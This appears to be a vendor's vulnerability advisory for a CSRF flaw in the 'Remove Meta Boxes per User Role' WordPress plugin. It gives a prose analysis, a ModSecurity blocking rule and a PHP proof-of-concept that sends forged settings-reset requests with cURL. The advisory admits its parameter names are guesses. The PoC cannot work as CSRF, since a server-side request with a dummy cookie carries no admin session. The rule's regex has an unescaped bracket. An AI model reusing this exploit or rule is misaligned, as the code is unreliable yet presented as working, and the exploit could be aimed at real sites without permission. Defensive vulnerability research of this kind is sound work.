Atomic Edge analysis of CVE-2026-8422 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Remove Meta Boxes per User Role plugin for WordPress, affecting versions up to and including 1.01. It allows an unauthenticated attacker to modify or reset the plugin’s per-role meta box visibility settings by tricking a site administrator into clicking a malicious link.
The root cause is missing or incorrect nonce validation on the plugin’s settings page, likely in the callback function that processes form submissions on the ‘remove-meta-boxes-per-user-role’ admin page. In WordPress admin, nonce verification (via check_admin_referer() or wp_verify_nonce()) prevents CSRF attacks by ensuring the request originated from the legitimate admin interface. The description explicitly states missing nonce validation, which Atomic Edge analysis confirms based on the CWE-352 classification and the provided CVE description. No code diff is available, so the exact missing nonce check is inferred rather than confirmed.
To exploit this vulnerability, an attacker crafts a malicious HTML form or link that automatically submits a POST request to the WordPress admin URL for the plugin’s settings page (likely /wp-admin/options-general.php?page=remove-meta-boxes-per-user-role or similar). The forged request contains parameters that change the plugin’s settings (e.g., disabling meta boxes for specific user roles or resetting all settings). The attacker then lures a logged-in administrator to click the link or visit a page with the auto-submitting form. The request will execute with the administrator’s privileges, modifying the plugin configuration without their consent.
Remediation requires the plugin developer to add proper nonce validation on the settings page form submission handler. Specifically, they must generate a nonce with wp_nonce_field() in the form and then verify it using check_admin_referer() or wp_verify_nonce() at the start of the processing function. Since no patched version exists, site administrators should disable the plugin immediately.
The impact is limited to unauthorized modification of the plugin’s per-role meta box visibility settings. An attacker could hide or show meta boxes (like the post custom fields or excerpt boxes) for specific user roles, potentially disrupting administrative workflows or hiding security-relevant meta boxes. The CVSS score is 4.3 (medium), indicating low confidentiality and integrity impact with no availability impact. No direct data breach or privilege escalation is possible.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8422 (metadata-based)
# Block CSRF exploitation attempts targeting the Remove Meta Boxes per User Role settings page.
# This rule matches POST requests to the plugin settings page without a valid nonce (assumed missing).
# The rule is chained to first match the exact admin page path, then check for POST data that indicates settings modification.
SecRule REQUEST_METHOD "@streq POST"
"id:20268422,phase:2,deny,status:403,msg:'CVE-2026-8422 - CSRF attempt on Remove Meta Boxes settings',severity:'CRITICAL',tag:'CVE-2026-8422',chain"
SecRule REQUEST_URI "@rx /wp-admin/options-general.php$" "chain"
SecRule QUERY_STRING "@contains page=remove-meta-boxes-per-user-role" "chain"
SecRule ARGS_POST "@rx (rmbpur_settings|rmbpur_reset|meta_boxes[)" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8422 - Remove meta boxes per user role <= 1.01 - Cross-Site Request Forgery to Settings Update
/**
* Proof of Concept: Exploit CSRF in Remove Meta Boxes per User Role plugin.
* This script forges a request to modify the plugin's settings.
* Assumptions:
* - The plugin settings page is at /wp-admin/options-general.php?page=remove-meta-boxes-per-user-role
* - The form submission updates per-role meta box visibility via POST parameters like 'role_administrator_meta_boxes' or similar.
* - No nonce verification is performed on the settings update handler.
*/
// Target WordPress installation URL
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
// WordPress admin URL for the plugin settings page
$settings_url = $target_url . '/wp-admin/options-general.php?page=remove-meta-boxes-per-user-role';
// Construct a malicious POST request to modify settings.
// The exact parameter names are unknown without code access, so we use plausible examples.
// Common patterns: array of meta box IDs for each role, or a 'reset' flag.
$post_data = array(
'rmbpur_settings' => '1',
'rmbpur_reset' => '1', // Attempt to reset all settings
// Alternative: toggle visibility for specific roles and meta boxes
'meta_boxes[administrator]' => array('postcustom', 'commentstatus'), // Hide some boxes for admins
'meta_boxes[editor]' => array(),
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP+Cookie+check'); // Assumes admin has valid session cookies
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the request succeeded (admin page returns 200 OK)
if ($http_code == 200) {
echo "[+] Request completed with HTTP $http_code. Settings may have been updated.n";
} else {
echo "[-] Request failed with HTTP $http_code.n";
}
?>
